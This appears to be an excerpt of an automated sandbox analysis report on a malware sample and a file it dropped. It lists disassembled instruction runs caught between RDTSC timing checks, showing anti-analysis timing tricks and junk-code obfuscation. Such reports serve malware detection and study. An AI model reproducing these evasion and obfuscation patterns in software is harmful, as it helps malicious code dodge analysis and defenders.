Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD07EB second address: 4BD08C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F4828F7EDE0h 0x00000010 and ecx, 03h 0x00000013 jmp 00007F4828F7EDE0h 0x00000018 rep movsb 0x0000001a jmp 00007F4828F7EDE0h 0x0000001f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000026 jmp 00007F4828F7EDE0h 0x0000002b mov eax, ebx 0x0000002d pushad 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F4828F7EDDCh 0x00000035 sbb al, 00000028h 0x00000038 jmp 00007F4828F7EDDBh 0x0000003d popfd 0x0000003e jmp 00007F4828F7EDE8h 0x00000043 popad 0x00000044 pushfd 0x00000045 jmp 00007F4828F7EDE2h 0x0000004a adc ah, FFFFFFB8h 0x0000004d jmp 00007F4828F7EDDBh 0x00000052 popfd 0x00000053 popad 0x00000054 mov ecx, dword ptr [ebp-10h] 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F4828F7EDE5h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD08C1 second address: 4BD09B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, E5E2h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr fs:[00000000h], ecx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F4828E7045Bh 0x00000018 sub si, CEDEh 0x0000001d jmp 00007F4828E70469h 0x00000022 popfd 0x00000023 call 00007F4828E70460h 0x00000028 pushfd 0x00000029 jmp 00007F4828E70462h 0x0000002e jmp 00007F4828E70465h 0x00000033 popfd 0x00000034 pop eax 0x00000035 popad 0x00000036 pop ecx 0x00000037 pushad 0x00000038 pushad 0x00000039 push edx 0x0000003a pop ecx 0x0000003b pushfd 0x0000003c jmp 00007F4828E7045Fh 0x00000041 sub ecx, 03072EFEh 0x00000047 jmp 00007F4828E70469h 0x0000004c popfd 0x0000004d popad 0x0000004e call 00007F4828E70460h 0x00000053 jmp 00007F4828E70462h 0x00000058 pop esi 0x00000059 popad 0x0000005a pop edi 0x0000005b jmp 00007F4828E70461h 0x00000060 pop esi 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F4828E7045Dh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09B5 second address: 4BD09C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09C6 second address: 4BD09D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09D6 second address: 4BD09E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 27460C94h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09E0 second address: 4BD0536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 leave 0x00000008 pushad 0x00000009 movsx edx, cx 0x0000000c pushfd 0x0000000d jmp 00007F4828E70460h 0x00000012 adc si, CC48h 0x00000017 jmp 00007F4828E7045Bh 0x0000001c popfd 0x0000001d popad 0x0000001e retn 0008h 0x00000021 cmp dword ptr [ebp-2Ch], 10h 0x00000025 mov eax, dword ptr [ebp-40h] 0x00000028 jnc 00007F4828E70455h 0x0000002a push eax 0x0000002b lea edx, dword ptr [ebp-00000590h] 0x00000031 push edx 0x00000032 call esi 0x00000034 push 00000008h 0x00000036 jmp 00007F4828E7045Eh 0x0000003b push 5719C13Dh 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 movzx ecx, bx 0x00000046 mov si, di 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0B5F second address: 4BD0B81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F4828F7EDDCh 0x00000012 movzx eax, di 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0B81 second address: 4BD0B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0B87 second address: 4BD0B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0B8B second address: 4BD0B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0B8F second address: 4BD0BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F4828F7EDE2h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4828F7EDE7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0BC5 second address: 4BD0BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828E70464h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 105EB73 second address: 105EB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 105EB77 second address: 105EB85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F4828E7045Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D1D71 second address: 11D1D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D1D75 second address: 11D1DA4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4828E70456h 0x00000008 jl 00007F4828E70456h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jc 00007F4828E70462h 0x00000016 jo 00007F4828E70456h 0x0000001c je 00007F4828E70456h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F4828E7045Bh 0x00000029 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D1ED4 second address: 11D1EF3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4828F7EDD6h 0x00000008 jmp 00007F4828F7EDDCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jl 00007F4828F7EDD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D207B second address: 11D2080 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D2080 second address: 11D209B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007F4828F7EDDFh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D234F second address: 11D2361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4828E70456h 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D24AD second address: 11D24BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F4828F7EDD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D5247 second address: 11D524D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D524D second address: 11D5251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D5251 second address: 11D5277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edx, dword ptr [ebp+122D26B5h] 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D39FAh] 0x00000019 call 00007F4828E70459h 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D5277 second address: 11D527D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D527D second address: 11D52DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007F4828E70461h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F4828E70466h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F4828E70467h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 jmp 00007F4828E7045Ah 0x00000029 pop ebx 0x0000002a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D52DA second address: 11D533B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [ebp+122D1B7Bh], ebx 0x00000011 push 00000003h 0x00000013 mov dl, ch 0x00000015 push 00000000h 0x00000017 ja 00007F4828F7EDDCh 0x0000001d mov esi, dword ptr [ebp+122D399Ah] 0x00000023 push 00000003h 0x00000025 sub dword ptr [ebp+122D23F1h], eax 0x0000002b call 00007F4828F7EDD9h 0x00000030 ja 00007F4828F7EDE2h 0x00000036 jl 00007F4828F7EDDCh 0x0000003c push eax 0x0000003d pushad 0x0000003e jmp 00007F4828F7EDE6h 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11D533B second address: 11D536C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007F4828E7045Ah 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F4828E70461h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F4915 second address: 11F492C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007F4828F7EDD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push ebx 0x0000000e push edi 0x0000000f jnl 00007F4828F7EDD6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F492C second address: 11F4935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F4935 second address: 11F4939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F4AB3 second address: 11F4ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F4ABB second address: 11F4AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F501A second address: 11F5021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5021 second address: 11F502B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4828F7EDD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5706 second address: 11F5713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F4828E70456h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5713 second address: 11F5717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5717 second address: 11F5723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4828E70456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5723 second address: 11F5729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5729 second address: 11F572D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5B18 second address: 11F5B3F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F4828F7EDD6h 0x0000000e jmp 00007F4828F7EDE9h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F5B3F second address: 11F5B49 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4828E70456h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F6260 second address: 11F628F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F4828F7EDDEh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F628F second address: 11F6297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F63E0 second address: 11F63E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F63E4 second address: 11F63EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F6585 second address: 11F658F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4828F7EDD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F658F second address: 11F6595 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F67FE second address: 11F6804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F6804 second address: 11F6808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11F6808 second address: 11F681D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4828F7EDD6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F4828F7EE09h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 11FBB79 second address: 11FBB91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1201A0E second address: 1201A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4828F7EDD6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1201A1A second address: 1201A3D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4828E70465h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1201A3D second address: 1201A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1201E15 second address: 1201E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F4828E7045Eh 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1204440 second address: 120444A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4828F7EDD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120451D second address: 1204576 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 2A15B09Eh 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F4828E70458h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a jmp 00007F4828E70467h 0x0000002f push 1EE7728Dh 0x00000034 push ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 jp 00007F4828E70456h 0x0000003d rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1204576 second address: 120457A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12046A3 second address: 12046BD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f jmp 00007F4828E7045Ah 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120502C second address: 1205032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1205032 second address: 1205036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12081D0 second address: 12081D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12081D4 second address: 12081F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70467h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1208BAF second address: 1208BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1208BB3 second address: 1208BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1208BB9 second address: 1208C15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F4828F7EDD8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D27E9h] 0x0000002c jng 00007F4828F7EDD6h 0x00000032 push 00000000h 0x00000034 add di, 488Bh 0x00000039 push 00000000h 0x0000003b mov esi, dword ptr [ebp+122D373Ah] 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push ecx 0x00000045 pushad 0x00000046 popad 0x00000047 pop ecx 0x00000048 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12095B5 second address: 12095C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4828E70456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12095C0 second address: 1209654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D2BD5h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F4828F7EDD8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c xor di, 0660h 0x00000031 adc di, 6505h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F4828F7EDD8h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 jmp 00007F4828F7EDE5h 0x00000057 xchg eax, ebx 0x00000058 je 00007F4828F7EDDEh 0x0000005e jo 00007F4828F7EDD8h 0x00000064 pushad 0x00000065 popad 0x00000066 push eax 0x00000067 jng 00007F4828F7EDE8h 0x0000006d push eax 0x0000006e push edx 0x0000006f jp 00007F4828F7EDD6h 0x00000075 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1209654 second address: 1209658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120AAC8 second address: 120AAD7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F4828F7EDD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120DB1D second address: 120DB38 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4828E7045Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F4828E70458h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120DB38 second address: 120DB42 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4828F7EDDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120E036 second address: 120E07A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, 5A89D23Ch 0x00000012 push 00000000h 0x00000014 jmp 00007F4828E70461h 0x00000019 push 00000000h 0x0000001b mov bl, 5Fh 0x0000001d and bx, 9139h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 js 00007F4828E7045Ch 0x0000002b rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1210221 second address: 1210244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F4828F7EDD6h 0x0000000f jne 00007F4828F7EDD6h 0x00000015 rdtsc
